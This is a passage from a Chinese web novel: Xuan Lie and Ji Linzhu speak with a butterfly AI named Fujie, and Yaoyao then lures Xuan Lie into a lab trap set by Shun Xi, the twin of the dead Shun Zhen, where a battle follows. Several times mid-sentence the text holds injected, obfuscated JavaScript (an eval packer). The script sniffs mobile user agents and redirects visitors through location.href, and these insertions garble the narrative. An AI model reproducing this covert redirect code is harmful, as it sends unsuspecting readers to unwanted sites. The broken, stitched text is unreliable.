突然间,玄烈感觉脑子里一根被打了三个死结的筋一瞬间通了,“福戒!” 与杨宁交谈后玄烈做足了准备,和纪凛烛一起来到永璃之眼。共同前往的还有棱镜,他曾作为斩翼军队长和福戒对接,他一定知道如何与福戒建立沟通。 此时那边是白天,天高云淡风朗气清,偶见飞鸟掠过,向日葵茁壮生长。那边太阳映射来的光穿过永璃之眼铺撒在颠转的天幕上,比那大射灯投来的光还要明亮几分。 他们的一举一动可能都暴露在骨环的眼睛里,所以有些话不能明说。 棱镜趴在栏杆边上半身探进去伸手敲了敲永璃之眼的玻璃,“蝴蝶,你在吗?” 那边没有回应,连一声鸟鸣都没有,棱镜有些意外。纪凛烛倚靠在栏杆边笑了,“莫名其妙跑到这叫蝴蝶,是不是太明显了。” 想来确实是,棱镜翻回身来盘算着再说点什么。这时,他的腕表响了,他粗略看一眼,再抬头是满面愁容,“程总叫我去一趟。” “他不是要脱离舜氏吗?你还是舜氏的人,为什么还要听他调遣?”玄烈不解。 棱镜呆呆地点着头,“对哦,那我不去了。” “还是去吧,”纪凛烛道,“那些事是真是假真实情况是什么样还不知道,既然他叫了那你就去,多留个心眼就好。” 这样也有理,棱镜一时进退两难不知该做什么选择。玄烈拍拍他,“去吧,带些有用的消息回来。” 棱镜这才乖乖地迈开脚步很快就跑远了。纪凛烛看着逐渐缩小的棱镜背影忍俊不禁,“小孩似的。” 玄烈也靠到了栏杆边,“我一开始还把他认成了你,我以为他就是在巷子里和我交手的那个人。” “我在第二战备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你别挡着呀,不行就得抹药了!”纪凛烛踮起脚去拽他的手。 如此近的距离,纪凛烛眼含担心一门心思想着会不会把玄烈弹傻了,而玄烈却始终凝望着她清澈如水的双眼。有风轻拂,他感受得到她的发丝飘扬在他脸上带来轻微的扎痒感,比她刚才戳他那几下还要痒。有的痒在身上,有的是在心里。 他几乎闻到了她身上那阵轻柔的皂角香味,于是他放开了手,露出他那除了微微泛红外并没别的一样的平整额头。 纪凛烛意识到被这小鬼玩弄了,一时间气急反笑,后退两步扬起手来就要给玄烈肩膀抡一掌,但手刚悬到一半她自己就停下来了,意识到什么,表情也不再那么鲜亮。 “我好像总打你,对不起啊……这个习惯不好,我会改的。” “为什么不打,”玄烈主动挨向她,“你不打别人只打我,不是说明我很特别吗?” 被玄烈的无厘头发言逗得没办法的纪凛烛再也绷不住神情,伸手拨了拨玄烈的刘海,让他头发挡住了眼睛,“笨蛋……” 视线立刻变模糊的玄烈要撩开头发,纪凛烛一只手又遮住了玄烈的眼睛,“别看。” “为什么?”玄烈拨开她的手掌。 “不许看。” 指间透过明亮的光线让玄烈间歇性看到那只手后方的一切,纪凛烛歪着脑袋止不住地笑,她的眼里有旺盛的生命力,那颗小虎牙时不时露出来一个角。她竟然有虎牙。 玄烈握住纪凛烛挡在他眼前的冰凉手掌,彻底将其移开他的眼前。一缕长发从纪凛烛箍着的发圈里抽离出来,他伸出手轻轻将那长发拢到她耳后。 这还没有完,他依依不舍地不肯将那停在她耳后的手抽回来。他们相视着,玄烈感觉到自己眼前弥漫着若有似无的朦胧薄纱,薄纱将面前事物全都分化成了一颗颗像素块,他穿过薄纱再看向对面人之时眼里布满了星点,每个像素块里都是星点,在寂静夜空里熠熠生辉。 他的手缓慢地顺着她耳后抚向她的后脑,脑袋近乎被那些闪耀的星星光亮迷醉了,他向前一步,再向前一步。 微妙的风声于耳侧响起,纪凛烛突然顺势望去,望向永璃之眼。再转回来时,她无比兴奋地指着永璃之眼,眼里也扑满粼粼的光。 “看,蝴蝶!” 189. 颠转破灭(1) 一只绛紫色蝴蝶扑朔翅膀飞停在向日葵上,它的背部有米色波状纹路蔓延全身,在向日葵海中极其显眼。 被打破计划的玄烈轻叹口气,一半懊恼被打扰,一半又谴责自己昏了头幸好没做出什么事情,他红着脸撤开了手。 “怎么了?”纪凛烛敏锐地发觉玄烈的异样。 越想脸越红了,玄烈赶快扑到栏杆边,脸竭力向纪凛烛所在的反方向扭,努力不让她看出来。 他的样子就像个娇羞的小动物。纪凛烛来了兴致,这边戳戳玄烈手臂,又跑到另一边也戳戳他,但玄烈就是不看他,恨不得把脸埋进地里去。 上一次见他脸这么红还是在游乐场她牵他的手的时候,但这次又没牵手,难不成是玄烈将她移开时碰了那么一小下?纪凛烛没搞懂玄烈此番是什么意思,只好不停地像撩拨小动物一样左戳戳、右戳戳。 “亲吻,是人类用来表达爱意的方式之一……” 一声清亮的机械女音从他们身边诡异地响起,纪凛烛环顾四周最终将嫌疑锁定在那只蝴蝶身上。 “常见的亲吻区域为额头、脸颊和唇部,与牵手、拥抱并列,科学研究证明,亲吻通常会令人心跳加速,利于血液循环……” “蝴蝶?是你在说话?”纪凛烛震惊地问。 “您好,我叫福戒。”蝴蝶扇着翅膀回答。 “真的是你!玄烈玄烈你快看……”纪凛烛神采洋溢地扯扯玄烈的衣角,发现玄烈还窝着脑袋。 她联想到福戒的话,“哦——原来是这个意思啊——” 玄烈双臂架在栏杆上,听到纪凛烛的话,他踌躇半天抬起了一点头。他的下半张脸还蒙在手臂里,只留出泄了气的眼睛闪躲着不敢看向纪凛烛。 像个生闷气的包子。纪凛烛点了点玄烈露出的脸颊,勾起唇角,“你早说啊,我不知道……” “别、别说了,”玄烈站起身来,仍留着涨红的脸蛋和飘忽的眼神,“回、回头再说吧,先……先、先办正事……” “先办正事、先办正事……”每次到这样的时刻,纪凛烛就会变成玄烈的复读机。她实在难掩自己脸上一刻不停的笑,她也不知道自己在笑什么,就是一直在笑,“福戒,我们需要你的帮助。” “好的。”蝴蝶飞了起来,在那株向日葵周边绕转。 天幕上砸出的几块痕迹已经被修好了,纪凛烛抬眼望着那一望无际的黑,“天有很久不亮了,我们做了两次努力还是没能让它亮起来,接下来该怎么办呢?” 蝴蝶在半空里打圈,他们生怕福戒无法懂得他们所谓究竟指的何事。 忽地,蝴蝶悬停在空中,翅膀扑腾的频率变得时快时慢,像是在传递什么信息。纪凛烛摇摇玄烈,玄烈红着脸聚精会神地开始记录。 “芯片已经在您手里了吗?”蝴蝶发出声音。 纪凛烛点点头,“在,芯片也可以用来补天吗?” “可以的,”蝴蝶欢腾地飞着,“芯片所蕴含的能量可以在很多方面为您所用。” “是要我……植入芯片?”纪凛烛问。 “不需要的,芯片的效能不仅可以在长有翅膀的蝴蝶体内被发挥,海里的鲸鱼、陆地上的大象都是可以使用的。” 蝴蝶停止了悬空,重新落回向日葵上,看来想传达的已经传递完毕了。玄烈脑子飞快转动解开了福戒带来的信息,来不及给纪凛烛解释,他先开口问道:“我们身在南极只有企鹅,怎么给北极的北极熊用芯片?” “企鹅和北极熊都可以作为芯片的载体,只要能为您所用,它们之中的任何一个都是可以使用芯片的。”蝴蝶答道。 “明白了。”玄烈点点头。随后,蝴蝶扑闪着翅膀飞出了永璃之眼的可见范围。 玄烈转过头笑了,“咱们都忘了,单从干扰的角度来说,咱们其实不用绕那么远的路,反正路的两端是一样的。而不管少的是起点还是重点,这条路都不会再被称之为路了。” “对啊,”纪凛烛思考着,“就算绕了很远的路也没把握能到达终点,还不如就在起点待着……可是,会失控吗?” “不会的,”玄烈浅笑着回答,“有你,有我,有大家,不会的。” 玄烈的话还在他们身边游荡,一旁的永璃之眼却突然闪烁起来。黑色的光在那层玻璃上跳跃,向日葵田上方骤然阴云密布,雷声大作狂风呼啸,尘土卷成一片浓雾。 他们不明白发生了什么,可永璃之眼只有这么大小,他们根本不可能看到那边的世界究竟发生了什么事。玄烈尽力俯到玻璃上方,以为能看得更远些,结果一个人影突然闪现一般出现在玻璃前,离他们非常近。 被吓了一跳的玄烈一个激灵重心不稳身体猛然滑向玻璃,幸而有纪凛烛拽着他,他才在相距玻璃二十厘米的地方停了下来,清楚明晰地看见了玻璃另一边的眼睛。 “舜、舜真?!”这次纪凛烛也看到了她。 她站在狂风暴雨里,全身被淋湿之前,那头飘逸的长发被风吹得横起,表情微微狰狞,眼神却丝毫不眨一下,锐利又郁然地目不转睛盯着玄烈。她仍穿着那日的衣服,身上依旧带着好多伤口,只是雨太大了,他们看不清。 “舜真”缓缓抬起手,她掐着那只不断扇动翅膀挣扎的绛紫色蝴蝶,一用力就将它捏碎了。 “你们赢不了的。”她轻声说。 随即,那扇玻璃彻底暗了下来,他们再也无法从这里看到世界另一面,头顶被打亮的天幕恢复了颜色,浓郁的黑吞噬了所有。 玄烈稳住重心再站直的时候,纪凛烛的腕表响了起来,她大致浏览了几眼,“绯篱说机器有异动,要我去看一眼。” 看出玄烈的心神不定心有余惊,她抓起玄烈同样冰到惨白的手,“玄烈,没关系的,她是假的。。” “太真了……太真了……”玄烈念叨着,他投去求助般的眼神,“就算是假扮的,怎么能……这么像?” “确实很不可思议……”纪凛烛打量着那块黑色玻璃,“你有看到吗?福戒离开之后这块玻璃好像闪烁了一下。” “是吗?”玄烈不曾注意。 “是闪了,”纪凛烛笃定地说,“而且风雨来得太快太突然,感觉像是……人为插入的画面!绝对是,这不是现在发生的,是之前录制的!不要中计!事不宜迟,咱们先离开这。” “嗯,”玄烈点点头,“去找绯篱。” 二人还没走出几步远,遥遥就心急火燎六神无主地跑过来,“玄烈!玄烈!我找了你好久……” 停下脚步后遥遥弯着腰不断喘着粗气,仿佛为了找他们已经跑遍了永璃岛。她双眼带着红血丝,头发也随意地扎着,没用她常用的小柿子头绳。 遥遥抓住玄烈的手臂,“玄烈,你告诉我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572500|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小真真的死了吗?” 被这问题砸得一懵,玄烈不知该作何反应。 “我看到她了!就在刚才!”遥遥声线尖锐地叫着,“你是不是骗我,你们是不是骗我……” 遥遥喊着喊着哭了起来,哭得泪水横流,手却抓着玄烈没松过,“我害怕,我害怕……玄烈,你能不能陪我去找她……” “去吧玄烈,”纪凛烛给了玄烈一个眼神,表示现在正是难遇的好机会,“绯篱那边我去就好。” 就这样,二人到达舜氏后分别拐入了不同的岔路。 玄烈跟随遥遥乘着电梯一路上升离地面越来越远,纪凛烛独自走上找寻绯篱的路,距出口越来越曲折。 电梯中,遥遥轻轻拭去自己脸颊的泪,泪水将她妆容打花了,她也毫不在意。垂直上升的重力感让玄烈耳鸣,电梯似乎在他不知情时被改造了。 他这么想着,遥遥突然无比冷漠地说了一句:“玄烈,小真是你杀的吧。” 玄烈还以为自己听错了,三秒后,遥遥看向他,以他梦里见过的那种窥视者的眼神,他浑身发冷,“谁说的?” 遥遥转过脸去,电梯“叮”的一声到达了顶层。电梯门缓缓移开,前方是一片黑暗,遥遥站在玄烈身后,玄烈却迟迟不往出走。 “遥遥姐,这里不是你的办公区吧?” “就在这,”遥遥拽着玄烈的衣角,“我刚才要上来取资料,一转头就看到她站在哪!” 遥遥话音未落,远处,高顶之上的灯顷刻间被打亮。灰白的光将下方笼罩出一片黑白分割明显的圆形光,半空有若隐若现的烟尘飘荡,玄烈似乎闻到一阵呛鼻的味道。 下方,一个女人安静地坐在金属台上紧闭双目。她头微垂着,长发披肩,双手叠起来放在腿上,一身破烂不堪的战斗服。 是舜真。 而且绝对是真人——玄烈不相信舜氏有把机器人做得这么逼真的技术。 玄烈注视着那遥远的熟悉面孔,迈出了脚步。他们前脚刚走,后脚电梯门就紧紧闭上,从声音可以判断,电梯桥厢在电梯门关闭的瞬间迅速下降,预示着里面的人再无回头路可走。 遥遥缩在玄烈身旁时刻观察着他的表情,玄烈早就注意到了,只是他得装作被对面人全然吸引的状态。 舜真不像死了,更像是睡着了,玄烈一点点靠近,仿佛还能听到她微弱的心跳声。就算她现在睁开眼大笑一声自己没死,玄烈都能接受,就算她说其实她才是一切幕后主使,玄烈也都能接受,或者说,她其实已经有了更深远的打算…… 遥遥在玄烈身边,这让玄烈觉得这些都不是没有可能。 可是还没等到他走到舜真身前探探她的鼻息,另一个女人就从黑暗里现了身。 无措地看着正走来的那个女人,玄烈更加感到头脑混沌,“舜真?”他试探性叫着。 可那女人分明穿着一副外骨骼,灰色长发显不出半点柔顺的光泽。虽然是和舜真一模一样的脸,却满眼是舜真不曾展露出的表情,张狂、得意、自傲。 女人抬起左手,凭空幻化出一个金色面具。她微笑着,将那面具放到面前,面具上的嘴唇也微笑起来,她将面具移开,她的笑容不变,面具上的笑容却消失了。 “舜……希?”玄烈惊愕道 为什么没有人告诉他,舜希和舜真其实是……双胞胎? 190. 颠转破灭(2) “被吓了一跳吗?”遥遥毫无波澜的声音从身边传出。玄烈回头,恰好看到她望着舜真的那双悲伤眼睛衍生出的一抹苦笑。 舜希没再带上那面具,她走到舜真身边,和她肩并肩坐在了台子上。那只骨瘦如柴的手轻轻拢着舜真的头发,动作柔缓眼眸深邃,无处不充斥着母亲般的慈爱。 借着她手臂处的外骨骼金属反光,玄烈瞄到舜真下巴处有一根金属支撑着,才让她以微微垂头的姿势立着,说不定她腰后还有一根。 她的确死了。 舜希将舜真的一缕碎发牵下来挡住舜真一侧的脸,“原来我和你……真的是很像呢。” 随后那一双鹰一般锐利的眼瞳望向玄烈,玄烈此时只感觉自己的视线被什么东西强制锁住了,不敢移开,却也不敢与之相对,沿着脊骨,一阵寒凉的麻意蔓延全身。 “你还是不像当初的第一战备。曾经我假扮小真,他一眼就看出来了……你呢?枉她在你身上费尽心血,可惜,她的一路护送只会变成你们钻入我陷阱的顺风车。” 不急着回应舜希,玄烈看向遥遥,“那你呢?遥遥姐,你是被骗进圈套的,还是你根本就是圈套的一环?” 遥遥僵硬地诡笑了两声,抬起脸来,“你猜呢?” 难道遥遥根本不是韶赋修的人?往昔画面渐渐浮现,玄烈眼前不断跳跃着舜真、舜停、程炼和林瑀等人的脸,那激荡惨烈的战争场面,蓝幕盾前,一个独自穿着白色铠甲的小人……然后遥遥的脸庞再次在眼前清晰。 原来她根本就是舜希的人! 遥遥见他发起呆,便迈起步在他身边绕转,“我先猜猜你的心路历程。首先,你是恐惧,恐惧你的失手导致她冤屈而死,恐惧她为何阴魂不散。其次,你会震惊,震惊自己是否将人认错了,震惊她难道真的还活着?再次,你会愤怒,愤怒她欺骗了你,愤怒她将你戏耍于股掌间……之后,你愧疚了,愧疚自己当日迷昏了眼痛下杀手,愧疚自己是否还可以补偿。最后,你会寻找她的蛛丝马迹,乖乖地跑到我们的陷阱里。” 话毕,遥遥半张脸笑得狰狞半张脸却直接地摆着她的自负。玄烈对上遥遥的眼神,他在她故作冷漠的背后看到了一丝感性的光。 很遗憾,遥遥十句里有一半都是错的,她那小孩子一样过家家的把戏早就被戳穿了。玄烈没有顺着她的话热血上涌,而是冷静的、以同样的眼神回敬着,不紧不慢地开口,“这么对她,你舍得吗?” 这句话才是真正有力的打击。遥遥脸色一僵,在她身后地上猛然发出“嗵”的一声响,她被惊得当即看去,手微颤起来。 那是舜希忽地玩性大发,赌气一般推了舜真一下,舜真便向旁边一斜,结结实实地摔在地上。 “她救了你,但你一直在利用她。”玄烈轻声说。 “不是她!”遥遥突然怒了,“我不是被她救的!” “二十多年前,我在永颉群岛闲游,”舜希慢悠悠开了口,“在一幢被炮炸毁的救济点废墟下,我看见一个三四岁的小女孩在向我招手。她的腿被水泥石坂压住了,但周围都是死人,没人救得了她。” “所有你就救了她?” “算是,”舜希笑得神秘,“我给她掰了一小块压缩饼干,并且把剩下的大半块放在了她够不到的地方,我说‘你要是想吃,就自己爬出来拿’。过了将近十个小时天黑了,我支起篝火准备烤点什么吃,之后,那个小女孩一瘸一拐地跑过来,跪在我面前。” 舜希叹息一声,“我很久没有见过求生欲望这么强烈的孩子了。” 泪水连成线如直落的瀑布砸到地上,很快积攒了一小摊,遥遥眉毛拧成一团,无声地哭着。 “她根本不是在救你,而是给你一丝希望,又要看着你垂死挣扎之后希望破灭痛苦死去。”玄烈对着遥遥说。 死命咬着牙抹了把眼泪,遥遥眼带愤恨盯着他后退几步退到舜希身边去,“如果没有那半块饼干,我早就死了,这是事实。” 舜希依然靠在那金属台边,她摁了下金属台侧的隐形按钮,伴随着两声“咔咔”,金属台面有所松动。一条缝在台面延伸,很快,被缝隙分割的两块台板向两侧撤去。有光从那台板下钻出,白金色的光,十分神圣。 嗡鸣的机械转动声大噪,撤走的台板下方,一个新的平面被缓缓托起。一个人躺在上面安静地沉睡着,那圈圣光是新升起的台面周边环绕的一圈线光。 那是灼琛。 如此大的阵仗,玄烈还以为舜希要请出多么可怕的角色,他不免感到无聊,“这就是所谓的陷阱?” 不仅无聊,他还感到莫名其妙,“我以为今天叫我来是要揭示很大的秘密,看来是我多想了。和舜真一模一样确实让我感到惊讶,但很遗憾,我没能做出你们想要的反应。想拿捏我,捣几次乱吓几次人是远远不够的,你有得天独厚的优势,但没能发挥出百分之百的效果。与其有功夫在这里过家家,你不如先担心被抢走的黑寂军,告辞。” 话毕,玄烈也全然不顾她们会有什么样的反应,转身就走。 “你离不开的。”舜希的声音在后面跟。 下行键被点亮,电梯骤然上升。“叮”的一声响,门打开之时电梯桥厢顶上的冷光率先投在玄烈脚下,投出一个人性轮廓的黑影。他换回白色实验服,皮鞋踩得“咯吱”响,他挡住了玄烈的去路。 “程炼?”玄烈诧异道。他回身看到舜希胜券在握的笑,心喊不妙,“你不是要走吗?” “不急,”程炼走出电梯,电梯门再次合住,“舜董说,这里还需要我。” 玄烈绕过程炼再摁下下行键,可这回按键死活不亮了。 “嗡——电梯已关闭——电梯已关闭——” 警报声响彻实验室,回音如通不了关的无限迷宫在空间内绕啊绕,好像光照不到的地方还藏着许多黑色的小人在念经吟唱。 有钱真能使鬼推磨!在巨大的利益面前,昨天才刚吵到动刀动枪七窍生烟的人,今天就能结了盟和平站在一起,他嘴角抽动,感到如芒在背,心想真是看低了这两个人。 “你太不听话了,我们不需要一个不听话的第一战备。”舜希离开金属台边向二人走去,将灼琛的全貌露了出来,“我已经用灼琛做了实验,效果很好。尽管你是人,但植入智识芯片强制介入操作,也不是不可行,很快的。” 舜希越靠近玄烈越警觉,他这下终于明白灼琛口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓦然间,一阵迟缓的怪异声音又在场中响起,如同长着血盆大口怪物的磨牙声,又像数万只金属蚂蚁在蒸锅里挣扎逃窜,很微小,很恶心,听得玄烈还以为是谁在分食某种生物的五脏六腑。 舜希撤开,玄烈才看到灼琛竟坐起来了。他眼瞳发灰双目无神,行动也是一卡一卡的,仿佛古早时期的机器人。他移腿到金属台边,停顿两秒后机械式地站立起来。 他的身上不再有外骨骼了,可他身体各个关节都在响动,听起来像是……将外骨骼内化,直接装进了他的骨子里。 灼琛缓慢地抬起头毫无表情地目视前方,舜希则抱起手臂,“我只相信我看到的。” 忽然,疾风混合着凌厉的光趁众人不注意风驰电掣闪来,像是一柄带有锋利附魔的海神戟。被风吹光刺得睁不开眼的玄烈抬起库星锥用以招架。 强大的力量将玄烈推得“嘭‘的一声径直磕在电梯门上,一恍惚,库星锥发出不悦的铮铮音,玄烈张开手看到库星锥把手边的虎口发紫肿胀,血从细微的条形伤口渗出。 这时,灼琛已站到眼前。 191. 颠转破灭(3) 打斗当即在实验室内展开。玄烈起初被打得措手不及只得连连退挡,但他很快摸清了灼琛的进攻线路。 和以前不同,灼琛那套旧潼氏的打法已经消失不见了,取而代之的有点像纪凛烛在巷子里和他对战时用过的套路。看来舜希不止将第二战备盒子内的材料用在灼琛身上,就连零星的战斗数据也移植给他。 要是没和纪凛烛交过手,玄烈这下恐怕真有点棘手,可惜舜希她们又少算了几步。 库星锥锥尖刺在灼琛左小腹处,玄烈施力一挑,那尖刃带着火焰势不可挡地刺穿灼琛皮肉一路划向他右肩膀。越往后伤口越深,伴着锥尖燎火离开他的身体,几根电线筋脉也一刀两断,灼琛失措向后一扬。 灼琛移开的空隙,一颗绯红色子弹沿着螺旋弹道飞速飞来。玄烈侧身躲开,子弹击中他身后的墙壁,顿时光火爆燃,墙壁显出一个巨大坑洞,灰尘碎块遍地。 舜希转着手里的手枪,越转越快越转越快直至她手上出现一阵红玻璃色的小型龙卷风,一柄红刃出现在她手上。 和舜真那柄不同,舜希的红刃更加锐利些,菱形的,带着些许天然原始的晶体立面,打磨痕迹明显,没有浑然天成的流畅感。 舜希左手手掌抚着那刃背上,手腕处的金属环乍现赤云般的阴影。她手沿着红刃刃尖的方向平移,掌下,那红刃竟一点一点延伸变长,直到形成一柄比库星锥长近一半的血红色晶体长剑。 那抹浓血色能量在剑身盘桓,顺她外骨骼蔓延至全身,黑色金属被映得金红,眼球被一团火雾包裹成火球,她的头发也登时由灰转红,鲜亮无比。 “舜真以为……只有她尝过被改造的苦……”舜希压着喉咙阴森地哼了两声,“那是因为她太懦弱!太懦弱的人是没办法站到最后的,她一辈子都不懂这个道理……” 对手一变二让局势立刻变得扑朔迷离。玄烈浑身也燎起青幽的火焰,妖异的火舌在他身后膨胀至三人高,两条手臂处的能量光尤为刺眼,手肘以下从小臂到指尖隐隐有胀痛活跃,大概是病毒在作祟。 现在还不至于令他主动催使病毒,他握紧库星锥,手在背后偷偷按下了召唤斩翼军的指令钮。 幻影骤然在半空出现,灼琛的激光棍在空中飞舞着砸来,玄烈都不用动,幻影们便在他身前筑起一道高墙。幻影如雨冲刷着高速旋转的激光棍,金属相撞间交杂出各种音调的声音汇合成交响乐。 就在激光棍被打落在地上的时刻,一缕红光刺来将激光棍托起甩回灼琛手里,又将幻影们全数灼烧殆尽。从颜色来判断玄烈的库星锥幻影上燃的温度更高,可它们就是在一阵嗞嗞声里化为一阵散烟。 玄烈正意外着,舜希冲到眼前扬起长剑直直劈向玄烈肩膀,“呯”的一声,玄烈用库星锥挡下了这一击。 舜希的招式的确超出玄烈的认知范畴,和他以往交手过的人不大一样,很多招都在玄烈的预判范围外。关键还是,她太快了。 灼琛同样没停下趁此功夫调整好状态也加入了战斗,舜希改换成近战后他就一门心思发射激光,激光宛若游龙在打得热火朝天的二人之间横冲直撞。玄烈不仅得防舜希,还要时刻注意激光的走向。、 短短两回合他就满头大汗。在对面二人身后,程炼饶有兴致地期待着二人怎么样将玄烈彻底击败,而遥遥却将舜真的尸体拖到角落,认真地为她整理着装。 走神的刹那,激光闪在眼前,玄烈赶忙去躲,却正迎向了舜希的剑。剑刺穿身体的时候,玄烈听到身后电梯传来异响。 舜希“噌”地一下将剑拔出,玄烈支撑不住倒在地上。但他没完全趴下,双手还用尽全力支着地面。他身上的火还没有熄灭,纯黑色金属铺设的地板上,他仍能看到反射出的那团青光。 长剑在一声脆响后瓦解,变回了之前的短刃。舜希满意地回头走了几步,那双机械靴优雅地踏在地板上制造出富有节奏感的闷响,短短几步硬是走出了胜利结算的气势,沉重得地板都在发颤,而那震颤一直流淌到玄烈撑着地面的手掌下方。 很快,舜希停下了脚步,她略带诧异地回过头看着玄烈,“什么声音?” 那震颤还在持续着,丝毫没有跟着舜希的脚步停下来的意思,电梯警报敏锐地响起,三秒后,微颤变成了真正贯穿在整个实验室的震荡,带来一阵地底的沉睡巨兽苏醒后的呐喊,那响声越来越近了,还在急速上升。 玄烈咳嗽了两声,他捂着腹部支撑着身子站了起来,那股青色的能量迥然爆发,照亮了以玄烈为中心的半个实验室的距离。舜希眼带惊愕地遥望着玄烈身后那烧到天顶的火焰,璀璨耀目的能量宛如银河裹挟烈火陡然上扬。 不再是一片泛冷的青,而是一片近乎可以吸纳一切光色的白,白得无比纯洁,但在舜希眼里,那是一片形同地狱之火的紫色,醇厚到随时会蹦出一个可怕恶魔。 血肉凝结的声音就像是在那地狱里爬行的小鬼,玄烈松开捂着腹部的手,对面众人眼睁睁看着他那衣服破口下方血肉模糊的伤口在一点点自动愈合,到最后只剩下一片血迹,看不见半点伤口。 “怎么……可能……”灼琛喃喃道,他那被操控的雾蒙蒙眼睛无神地睁着,连说出出来的话都没有一丝情绪。 “嘭——” 一声毁天灭地的声音在电梯门后爆响,那是电梯桥厢猛然上升的声音,一阵烟尘伴着扑朔的火光从电梯门后徐徐传出。 “玄烈老师小心!”电梯内传出一声叫喊。 玄烈向身旁一撤,又是“砰”的一声,一颗拳头大小的□□穿破电梯门燃着尾焰冲向场中央的舜希,舜希朝旁边一闪,那颗□□钻入大屏幕后登时延展出一片火浪,碎屑零件刀雨一般横飞,顷刻间将周围的墙壁、桌面、柜台扎成了表面坑坑洼洼的刺猬。 还没完,爆炸吸引几人注意力之时,几颗插着刀片的向日葵从烟雾中飞出,兵分三路分别向舜希、程炼和灼琛攻击去。向日葵金黄的花瓣配合刀片反射的顶光使这些漂亮的小暗器犹如飞舞的精灵,灵活地周转在众人之间。 电梯门被炸出了个洞,里面的人一脚就将那烂门踹飞了出去。弥散的灰尘后方,绯篱扛着火箭筒迈过地上的一堆渣子站到实验室的地板上,她的背后,五只斩翼军张开斑斓翅膀飞出,帮着“向日葵”进攻敌人。 电梯内部,遍地是黑寂军尸体。 “玄烈老师!”绯篱丢下火箭筒,“你没事吧!” 红色剑光袭来,玄烈抬腕用库星锥挡住了扑来的舜希,“我没事!小心!” 一条射线刺穿了遥遥身边的一个金属柜台,她颤抖着和舜真紧紧靠在一起,抬起腕表按下一颗红色的键,“开放实验室通道!开放实验室通道!” 水深火热的打斗中,玄烈余光瞄到金属台下方的地板竟开始下沉。待金属台被撤到下方看不见底的黑暗之后,开始有机械体、黑寂军和斩翼军向上涌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596672|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在新赶来的这一堆人里,玄烈看到好多陌生的面孔。 绯篱用牵引“向日葵”的锁链缠住灼琛的激光棍并将其抛到实验室的另一个角落,她抽出手来又帮玄烈挡下要偷袭的一只机械体。 “凛烛老师是被他们骗走的,幸好我在走廊碰到了她。我们收到了你的信息,凛烛老师正在尝试福戒的办法从舜氏这台颠转机器下手,但骨环发现了我们的意图,就更改了涂云机械体的程序,现在它们也来攻击我们了!” 分属涂云和舜氏的两架机械体在他们身边忽地自爆,火烫的浪波及到周围的黑寂军。大家起先以为这只是不小心或正常的战争损耗,直至一架接着一架机械体在空间内爆炸,搅得他们还没决出胜负就被迫要先躲避一刻不停的火光。 “舜希!” 长剑砍下了一只斩翼军的脑袋,舜希闻声回头看去,玄烈也将一只机械体大力踹到一边让他自己炸自己去,“是骨环,他在报复我!报复舜氏!” 说着,玄烈扬起斩翼军令牌,当着舜希的面将锁敌改为舜氏机械体。没闲着,舜希一把揪住预备逃窜的程炼的衣领,“让黑寂军停手!” 程炼挣扎着,长剑贴着他颈边划破了皮肉。他一样跑不了。 遥遥找不到一个好的庇护所,她手无寸铁也根本无法逃出去,没有人在意她,她只能紧抱住已经僵硬冰冷的舜真。炮火轻而易将她炸成了半聋,呛人烟雾下她也睁不开眼睛,只好将脸埋在臂弯里,听着耳鸣与朦胧噪音在她头顶回荡,独自抽泣。 因为太害怕了,她只能转移自己的注意力,于是她开始小小声和舜真讲话。 “……我十岁的时候,她说我已经够大了,可以被当成一个完整的人了。那天海上大风,她说要我去找你,设法取得你的信任,把你和这里一切的事偷偷告诉她……我说我害怕,她就把我踹下了水。海水好凉,比那天我被压在水泥板下淋的那场暴雨还要凉,我游不了很久,我体力不够,呛了几口水,就在我以为我要死了的时候,我看见一道光打过来……当我彻底清醒过来,我看到了你……像恐惧她一样,我很害怕你,小真,我对你说了很多的谎,你为什么要相信,为什么还对我那么好,为什么保护我,为什么要我把你当成家……” 一只已经被分解到只剩下躯干的机械体在滚到离遥遥只有五步远的地方听了下来,然后轰然爆炸。她的手臂当即褪了一层皮,血溅得到处都是。 有一滴血溅到了舜真的脸上,她伸手替她擦去那滴血,“是我操控的导弹,是我帮助他们和你作对,是我把你的身体状况告诉她,是我偷走了你的药……我不是机器人,我扛不动枪,那些刀在我手腕划一刀我就会死了,你不要恨我,我没有办法……没有她就没有我了,我不能不去报答……小真,你一个人躺在这里是不是很冷啊,这些天我都有给你盖被子……” 几乎是瞬间,震荡变成了彻底的摇晃,实验室里的所有物件都在和地震一同运动,地下的嗡鸣声愈渐扩张,他们远在高楼之上摇摇欲坠。 外面,市中心方向也爆发出激烈的警报声,机械电子音一卡一卡地重复着同一句话:“地震注意——地震注意——请前往避震洞紧急避险,请前往避震洞紧急避险……” 